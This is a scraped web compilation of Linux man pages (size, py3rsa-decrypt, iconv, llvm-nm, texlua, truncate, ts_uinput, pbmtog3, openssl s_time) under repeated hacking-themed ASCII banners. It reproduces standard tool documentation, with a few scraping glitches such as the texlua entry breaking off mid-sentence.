Using one of these options, you can control whether the size of each section is given in decimal (-d, or –radix=10); octal (-o, or –radix=8); or hexadecimal (-x, or –radix=16). In **–radix=**number, only the three values (8, 10, 16) are supported. The total size is always given in two radices; decimal and hexadecimal for -d or -x output, or octal and hexadecimal if you’re using -o.

–common
Print total size of common symbols in each file. When using Berkeley or GNU format these are included in the bss size.

-t

–totals

Show totals of all objects listed (Berkeley or GNU format mode only).

–target=bfdname
Specify that the object-code format for objfile is bfdname. This option may not be necessary; size can automatically recognize many formats.

-v

-V

–version

Display the version number of size.

-f
Ignored. This option is used by other versions of the size program, but it is not supported by the GNU Binutils version.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

163 - Linux cli command py3rsa-decrypt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3rsa-decrypt and provides detailed information about the command py3rsa-decrypt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3rsa-decrypt.

NAME 🖥️ py3rsa-decrypt 🖥️

decrypt** - decrypt a file

SYNOPSIS

py3rsa-decrypt [OPTION]… PRIVATE_KEY

DESCRIPTION

Decrypt a file. The original file must be shorter than the key length in order to have been encrypted.

OPTIONS

-h, –help
show help message and exit

-i INPUT, **–input=**INPUT
name of the file to decrypt. read from stdin if not specified.

-o OUTPUT, **–output=**OUTPUT
name of the file to write the decrypted file to. write to stdout if this option is not present.

**–keyform=**KEYFORM
key format of the private key - default PEM

AUTHOR

py3rsa-decrypt was written by Sybren A. Stuvel <sybren AT stuvel.eu>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

164 - Linux cli command iconv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command iconv and provides detailed information about the command iconv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the iconv.

NAME 🖥️ iconv 🖥️

convert text from one character encoding to another

SYNOPSIS

iconv [options] [-f from-encoding] [-t to-encoding] [inputfile]…

DESCRIPTION

The iconv program reads in text in one encoding and outputs the text in another encoding. If no input files are given, or if it is given as a dash (-), iconv reads from standard input. If no output file is given, iconv writes to standard output.

If no from-encoding is given, the default is derived from the current locale’s character encoding. If no to-encoding is given, the default is derived from the current locale’s character encoding.

OPTIONS

**–from-code=**from-encoding
**-f **from-encoding
Use from-encoding for input characters.

**–to-code=**to-encoding
**-t **to-encoding
Use to-encoding for output characters.

If the string //IGNORE is appended to to-encoding, characters that cannot be converted are discarded and an error is printed after conversion.

If the string //TRANSLIT is appended to to-encoding, characters being converted are transliterated when needed and possible. This means that when a character cannot be represented in the target character set, it can be approximated through one or several similar looking characters. Characters that are outside of the target character set and cannot be transliterated are replaced with a question mark (?) in the output.

–list
-l
List all known character set encodings.

-c
Silently discard characters that cannot be converted instead of terminating when encountering such characters.

**–output=**outputfile
**-o **outputfile
Use outputfile for output.

–silent
-s
This option is ignored; it is provided only for compatibility.

–verbose
Print progress information on standard error when processing multiple files.

–help
-?
Print a usage summary and exit.

–usage
Print a short usage summary and exit.

–version
-V
Print the version number, license, and disclaimer of warranty for iconv.

EXIT STATUS

Zero on success, nonzero on errors.

ENVIRONMENT

Internally, the iconv program uses the iconv(3) function which in turn uses gconv modules (dynamically loaded shared libraries) to convert to and from a character set. Before calling iconv(3), the iconv program must first allocate a conversion descriptor using iconv_open(3). The operation of the latter function is influenced by the setting of the GCONV_PATH environment variable:

  • If GCONV_PATH is not set, iconv_open(3) loads the system gconv module configuration cache file created by iconvconfig(8) and then, based on the configuration, loads the gconv modules needed to perform the conversion. If the system gconv module configuration cache file is not available then the system gconv module configuration file is used.

  • If GCONV_PATH is defined (as a colon-separated list of pathnames), the system gconv module configuration cache is not used. Instead, iconv_open(3) first tries to load the configuration files by searching the directories in GCONV_PATH in order, followed by the system default gconv module configuration file. If a directory does not contain a gconv module configuration file, any gconv modules that it may contain are ignored. If a directory contains a gconv module configuration file and it is determined that a module needed for this conversion is available in the directory, then the needed module is loaded from that directory, the order being such that the first suitable module found in GCONV_PATH is used. This allows users to use custom modules and even replace system-provided modules by providing such modules in GCONV_PATH directories.

FILES

/usr/lib/gconv
Usual default gconv module path.

/usr/lib/gconv/gconv-modules
Usual system default gconv module configuration file.

/usr/lib/gconv/gconv-modules.cache
Usual system gconv module configuration cache.

Depending on the architecture, the above files may instead be located at directories with the path prefix /usr/lib64.

STANDARDS

POSIX.1-2008.

HISTORY

POSIX.1-2001.

EXAMPLES

Convert text from the ISO/IEC 8859-15 character encoding to UTF-8:

$ iconv -f ISO-8859-15 -t UTF-8 < input.txt > output.txt

The next example converts from UTF-8 to ASCII, transliterating when possible:

$ echo abc ß α € àḃç | iconv -f UTF-8 -t ASCII//TRANSLIT
abc ss ? EUR abc

SEE ALSO

locale(1), uconv(1), iconv(3), nl_langinfo(3), charsets(7), iconvconfig(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

165 - Linux cli command llvm-nm-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-nm-17 and provides detailed information about the command llvm-nm-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-nm-17.

NAME 🖥️ llvm-nm-17 🖥️

nm - list LLVM bitcode and object file’s symbol table

SYNOPSIS

llvm-nm [options] [filenames…]

DESCRIPTION

The llvm-nm utility lists the names of symbols from LLVM bitcode files, object files, and archives. Each symbol is listed along with some simple information about its provenance. If no filename is specified, a.out is used as the input. If - is used as a filename, llvm-nm will read a file from its standard input stream.

llvm-nm’s default output format is the traditional BSD nm output format. Each such output record consists of an (optional) 8-digit hexadecimal address, followed by a type code character, followed by a name, for each symbol. One record is printed per line; fields are separated by spaces. When the address is omitted, it is replaced by 8 spaces.

The supported type code characters are as follows. Where both lower and upper-case characters are listed for the same meaning, a lower-case character represents a local symbol, whilst an upper-case character represents a global (external) symbol:

a, A

Absolute symbol.

b, B

Uninitialized data (bss) object.

C

Common symbol. Multiple definitions link together into one definition.

d, D

Writable data object.

i, I

COFF: .idata symbol or symbol in a section with IMAGE_SCN_LNK_INFO set.

n

ELF: local symbol from non-alloc section.

COFF: debug symbol.

N

ELF: debug section symbol, or global symbol from non-alloc section.

s, S

COFF: section symbol.

Mach-O: absolute symbol or symbol from a section other than __TEXT_EXEC __text, __TEXT __text, __DATA __data, or __DATA __bss.

r, R

Read-only data object.

t, T

Code (text) object.

u

ELF: GNU unique symbol.

U

Named object is undefined in this file.

v

ELF: Undefined weak object. It is not a link failure if the object is not defined.

V

ELF: Defined weak object symbol. This definition will only be used if no regular definitions exist in a link. If multiple weak definitions and no regular definitions exist, one of the weak definitions will be used.

w

Undefined weak symbol other than an ELF object symbol. It is not a link failure if the symbol is not defined.

W

Defined weak symbol other than an ELF object symbol. This definition will only be used if no regular definitions exist in a link. If multiple weak definitions and no regular definitions exist, one of the weak definitions will be used.

-

Mach-O: N_STAB symbol.

?

Something unrecognizable.

Because LLVM bitcode files typically contain objects that are not considered to have addresses until they are linked into an executable image or dynamically compiled “just-in-time”, llvm-nm does not print an address for any symbol in an LLVM bitcode file, even symbols which are defined in the bitcode file.

OPTIONS

-B
Use BSD output format. Alias for –format=bsd.

-X
Specify the type of XCOFF object file, ELF object file, or IR object file input from command line or from archive files that llvm-nm should examine. The mode must be one of the following:

32
Process only 32-bit object files.

64
Process only 64-bit object files.

32_64
Process both 32-bit and 64-bit object files.

any
Process all the supported object files.

On AIX OS, the default is to process 32-bit object files only and to ignore 64-bit objects. The can be changed by setting the OBJECT_MODE environment variable. For example, OBJECT_MODE=64 causes llvm-nm to process 64-bit objects and ignore 32-bit objects. The -X flag overrides the OBJECT_MODE variable.

On other operating systems, the default is to process all object files: the OBJECT_MODE environment variable is not supported.

–debug-syms, -a
Show all symbols, even those usually suppressed.

–defined-only, -U
Print only symbols defined in this file.

–demangle, -C
Demangle symbol names.

–dynamic, -D
Display dynamic symbols instead of normal symbols.

–export-symbols
Print sorted symbols with their visibility (if applicable), with duplicates removed.

–extern-only, -g
Print only symbols whose definitions are external; that is, accessible from other files.

–format=<format>, -f
Select an output format; format may be sysv, posix, darwin, bsd or just-symbols. The default is bsd.

–help, -h
Print a summary of command-line options and their meanings.

-j
Print just the symbol names. Alias for –format=just-symbols`.

-m
Use Darwin format. Alias for –format=darwin.

–no-demangle
Don’t demangle symbol names. This is the default.

–no-llvm-bc
Disable the LLVM bitcode reader.

–no-sort, -p
Show symbols in the order encountered.

–no-weak, -W
Don’t print weak symbols.

–numeric-sort, -n, -v
Sort symbols by address.

–portability, -P
Use POSIX.2 output format. Alias for –format=posix.

–print-armap
Print the archive symbol table, in addition to the symbols.

–print-file-name, -A, -o
Precede each symbol with the file it came from.

–print-size, -S
Show symbol size as well as address (not applicable for Mach-O).

–quiet
Suppress ‘no symbols’ diagnostic.

–radix=<RADIX>, -t
Specify the radix of the symbol address(es). Values accepted are d (decimal), x (hexadecimal) and o (octal).

–reverse-sort, -r
Sort symbols in reverse order.

–size-sort
Sort symbols by size.

–special-syms
Do not filter special symbols from the output.

–undefined-only, -u
Print only undefined symbols.

–version, -V
Display the version of the llvm-nm executable, then exit. Does not stack with other commands.

@<FILE>
Read command-line options from response file <FILE>.

MACH-O SPECIFIC OPTIONS

–add-dyldinfo
Add symbols from the dyldinfo, if they are not already in the symbol table. This is the default.

–add-inlinedinfo
Add symbols from the inlined libraries, TBD file inputs only.

–arch=<arch1[,arch2,…]>
Dump the symbols from the specified architecture(s).

–dyldinfo-only
Dump only symbols from the dyldinfo.

–no-dyldinfo
Do not add any symbols from the dyldinfo.

-s <segment> <section>
Dump only symbols from this segment and section name.

-x
Print symbol entry in hex.

XCOFF SPECIFIC OPTIONS

–no-rsrc
Exclude resource file symbols (__rsrc) from export symbol list.

BUGS

  • llvm-nm does not support the full set of arguments that GNU nm does.

EXIT STATUS

llvm-nm exits with an exit code of zero.

SEE ALSO

llvm-ar(1), llvm-objdump(1), llvm-readelf(1), llvm-readobj(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

166 - Linux cli command texlua

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command texlua and provides detailed information about the command texlua, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the texlua.

NAME 🖥️ texlua 🖥️

An extended version of TeX using Lua as an embedded scripting language

SYNOPSIS

luatex [–lua=FILE] [OPTION]. . . [TEXNAME[.tex]] [COMMANDS]
luatex [–lua=FILE] [OPTION]. . . *FIRST-LINE
luatex [
–lua=FILE
*] [OPTION]. . . **&**FMT [ARGS]

DESCRIPTION

Run the luaTeX typesetter on TEXNAME, usually creating TEXNAME*.pdf***. Any remaining COMMANDS are processed as luaTeX input, after TEXNAME is read.

Alternatively, if the first non-option argument begins with a backslash, interpret all non-option arguments as a line of luaTeX input.

Alternatively, if the first non-option argument begins with a &, the next word is taken as the FMT to read, overriding all else. Any remaining arguments are processed as above.

If no arguments or options are specified, prompt for input.

If called as texlua it acts as a Lua interpreter. If called as texluac it acts as a Lua bytecode compiler.

LuaTeX began as an extended version of pdfTeX with Unicode and OpenType font support, embedded Lua scripting language, the e-TeX and Omega extensions, as well as an integrated MetaPost engine, that can create PDF files as well as DVI files. For more information about luatex, see http://www.luatex.org; and you can read the LuaTeX manual using the texdoc utility (texdoc luatex).

All LuaTeX text input and output is considered to be Unicode text, although various filters make it possible to support any encoding.

In DVI mode, LuaTeX can be used as a complete replacement for the TeX engine.

In PDF mode, LuaTeX can natively handle the PDF, JPG, JBIG2, and PNG graphics formats. LuaTeX cannot include PostScript or Encapsulated PostScript (EPS) graphics files; first convert them to PDF using epstopdf(1).

The luajittex variant includes the Lua just-in-time compiler.

The luahbtex variant can use the HarfBuzz engine for glyph shaping, instead of LuaTeX’s built-in shaper.

OPTIONS

When the LuaTeX executable starts, it looks for the –lua command-line option. If there is no –lua option, the command line is interpreted in a similar fashion as in traditional pdfTeX and Aleph. But if the option is present, LuaTeX will enter an alternative mode of command-line parsing in comparison to the standard web2c programs. The presence of –lua makes most of other options unreliable, because the lua initialization file can disable kpathsea and/or hook functions into various callbacks.

Here is the list of possibly affected switches/functionality, and why:

**–lua=**FILE
The lua initialization file.

The following two options alter the executable behaviour:

–luaonly
Start LuaTeX as a Lua interpreter. In this mode, it will set Lua’s arg[0] to the found script name, pushing preceding options in negative values and the rest of the command line in the positive values, just like the Lua interpreter. LuaTeX will exit immediately after executing the specified Lua script.

–luaconly
Start LuaTeX as a Lua byte compiler. In this mode, LuaTeX is exactly like luac from the standalone Lua distribution, except that it does not have the -l switch, and that it accepts (but ignores) the –luaconly switch.

Then the regular web2c options:

–debug-format

Debug format loading.

–draftmode
Sets \pdfdraftmode so luaTeX doesn’t write a PDF and doesn’t read any included images, thus speeding up execution.

–enable-write18

Synonym for –shell-escape.

–disable-write18

Synonym for –no-shell-escape.

–shell-escape

Enable the \write18{command} construct, and Lua functions os.execute(), os.exec(), os.spawn(), and io.popen(). The command can be any shell command. This construct is normally disallowed for security reasons.

–no-shell-escape

Disable the \write18{command} construct and the other Lua functions, even if it is enabled in the texmf.cnf file.

–shell-restricted
Enable restricted version of \write18, os.execute(), os.exec(), os.spawn(), and io.popen(), only commands listed in texmf.cnf file are allowed.

–file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

–no-file-line-error
Disable printing error messages in the file:line:error style.

**–fmt=**FORMAT
Use FORMAT as the name of the format to be used, instead of the name by which luaTeX was called or a %& line.

–help
Print help message and exit.

–ini
Start in INI mode, which is used to dump formats. The INI mode can be used for typesetting, but no format is preloaded, and basic initializations like setting catcodes may be required.

**–interaction=**MODE
Sets the interaction mode. The MODE can be either batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding

167 - Linux cli command truncate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command truncate and provides detailed information about the command truncate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the truncate.

NAME 🖥️ truncate 🖥️

shrink or extend the size of a file to the specified size

SYNOPSIS

truncate OPTIONFILE

DESCRIPTION

Shrink or extend the size of each FILE to the specified size

A FILE argument that does not exist is created.

If a FILE is larger than the specified size, the extra data is lost. If a FILE is shorter, it is extended and the sparse extended part (hole) reads as zero bytes.

Mandatory arguments to long options are mandatory for short options too.

-c, –no-create
do not create any files

-o, –io-blocks
treat SIZE as number of IO blocks instead of bytes

-r, –reference=RFILE
base size on RFILE

-s, –size=SIZE
set or adjust the file size by SIZE bytes

–help
display this help and exit

–version
output version information and exit

The SIZE argument is an integer and optional unit (example: 10K is 10*1024). Units are K,M,G,T,P,E,Z,Y,R,Q (powers of 1024) or KB,MB,… (powers of 1000). Binary prefixes can be used, too: KiB=K, MiB=M, and so on.

SIZE may also be prefixed by one of the following modifying characters: ‘+’ extend by, ‘-’ reduce by, ‘<’ at most, ‘>’ at least, ‘/’ round down to multiple of, ‘%’ round up to multiple of.

AUTHOR

Written by Padraig Brady.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

dd(1), truncate(2), ftruncate(2)

Full documentation <https://www.gnu.org/software/coreutils/truncate>
or available locally via: info ‘(coreutils) truncate invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

168 - Linux cli command ts_uinput

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_uinput and provides detailed information about the command ts_uinput, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_uinput.

NAME 🖥️ ts_uinput 🖥️

A daemon program creating a tslib-filtered and calibrated input event device

SYNOPSIS

ts_uinput [OPTION]

DESCRIPTION

ts_uinput provides an alternative for using tslib’s API in order to get filtered and calibrated touch screen inputs. Using Linux’ uinput system, it creates an input event device to be used in your environment. It uses ts_read_mt() and thus supports single and multi touch.

-d, –daemonize

Start ts_uinput as a daemon and return. The sysfs’ input device name of the newly created device is printed to stdout before returning. If –verbose is chosen too, the /dev/input/eventX path to the device node is printed.

-v, –verbose

Print debug information to stdout and stderr. Only if –daemonize is not chosen. If used together with –daemonize, the path to the created input event device node /dev/input/eventX is printed before the program forks and returns.

-n, –name

Set the name of the new input event device. Default: ts_uinput.

-i, –idev

Explicitly choose the original input event device for tslib to use. Default: the environment variable TSLIB_TSDEVICE’s value.

-f, –fbdev

Explicitly choose the framebuffer device to use. Default: the environment variable TSLIB_FBDEVICE’s value.

-s, –slots

Explicitly set the possible concurrent touch contacts supported. May be only needed if the original input device doesn’t report it.

-b, –nofb

Read the screen resolution values from the input device, not the framebuffer device.

SEE ALSO

ts.conf (5), ts_calibrate (1), ts_test (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

169 - Linux cli command pbmtog3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtog3 and provides detailed information about the command pbmtog3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtog3.

.

NAME 🖥️ pbmtog3 🖥️

convert a PBM image into a Group 3 MH fax file

SYNOPSIS

pbmtog3 [-reversebits] [-nofixedwidth] [-align8|-align16] [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtog3 reads a PBM image as input and produces a Group 3 MH fax file as output.

You can also generate a TIFF file that uses the same encoding inside, with pamtotiff.

There is no program in Netpbm that generates other fax formats, such as MR and MMR, but pamtotiff can generate TIFF files that use those encodings.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtog3 recognizes the following command line options:

-reversebits
This option causes the output to have the bits in every byte reversed so the least significant bit becomes the most significant bit. Some fax modems expect bits in reverse order, and this compensates for that. If you get a whole bunch of “bad code word” messages when you try to read the G3 file (e.g. with g3topbm), try using this option. Note that the output is not G3 when you use this option.

-nofixedwidth
Most fax machines expect the image to be 1728 columns wide, so pbmtog3 cuts the output to this width by default. If you want to keep the width of the original image, use this option.

This option was new in Netpbm 10.6 (July 2002). Before that, pbmtog3 always kept the width of the original image.

-align8
-align16
These options say to align output rows to 8-bit or 16-bit boundaries, respectively, by adding padding bits in front of EOL codes

Without these options, pbmtog3 adds no padding and rows may begin and ends anywhere within a byte.

You cannot specify both.

These options were new in Netpbm 10.79 (June 2017).

SEE ALSO

g3topbm(1) , pamtotiff(1) , pbm(1) , fax formats(1)

HISTORY

Before Netpbm 10.79 (June 2017), there was a different program by the same name in Netpbm, which was written by by Paul Haeberli <[email protected]> in 1989 and then modified extensively by others.

Akira Urushibata <[email protected]> wrote the current version, with an entirely different algorithm, in April 2017 and contributed his work to the public domain.

The current program is backward compatible with the pre-10.79 version.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtog3.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

170 - Linux cli command openssl-s_timessl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-s_timessl and provides detailed information about the command openssl-s_timessl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-s_timessl.

NAME 🖥️ openssl-s_timessl 🖥️

s_time - SSL/TLS performance timing program

SYNOPSIS

openssl s_time [-help] [-connect host:port] [-www page] [-cert filename] [-key filename] [-reuse] [-new] [-verify depth] [-time seconds] [-ssl3] [-tls1] [-tls1_1] [-tls1_2] [-tls1_3] [-bugs] [-cipher cipherlist] [-ciphersuites val] [-nameopt option] [-cafile file] [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command implements a generic SSL/TLS client which connects to a remote host using SSL/TLS. It can request a page from the server and includes the time to transfer the payload data in its timing measurements. It measures the number of connections within a given timeframe, the amount of data transferred (if any), and calculates the average time spent for one connection.

OPTIONS

-help
Print out a usage message.

-connect host:port
This specifies the host and optional port to connect to.

-www page
This specifies the page to GET from the server. A value of ‘/’ gets the index.html page. If this parameter is not specified, then this command will only perform the handshake to establish SSL connections but not transfer any payload data.

-cert certname
The certificate to use, if one is requested by the server. The default is not to use a certificate. The file is in PEM format.

-key keyfile
The private key to use. If not specified then the certificate file will be used. The file is in PEM format.

-verify depth
The verify depth to use. This specifies the maximum length of the server certificate chain and turns on server certificate verification. Currently the verify operation continues after errors so all the problems with a certificate chain can be seen. As a side effect the connection will never fail due to a server certificate verify failure.

-new
Performs the timing test using a new session ID for each connection. If neither -new nor -reuse are specified, they are both on by default and executed in sequence.

-reuse
Performs the timing test using the same session ID; this can be used as a test that session caching is working. If neither -new nor -reuse are specified, they are both on by default and executed in sequence.

-bugs
There are several known bugs in SSL and TLS implementations. Adding this option enables various workarounds.

-cipher cipherlist
This allows the TLSv1.2 and below cipher list sent by the client to be modified. This list will be combined with any TLSv1.3 ciphersuites that have been configured. Although the server determines which cipher suite is used it should take the first supported cipher in the list sent by the client. See openssl-ciphers (1) for more information.

-ciphersuites val
This allows the TLSv1.3 ciphersuites sent by the client to be modified. This list will be combined with any TLSv1.2 and below ciphersuites that have been configured. Although the server determines which cipher suite is used it should take the first supported cipher in the list sent by the client. See openssl-ciphers (1) for more information. The format for this list is a simple colon (":") separated list of TLSv1.3 ciphersuite names.

-time length
Specifies how long (in seconds) this command should establish connections and optionally transfer payload data from a server. Server and client performance and the link speed determine how many connections it can establish.

-nameopt option
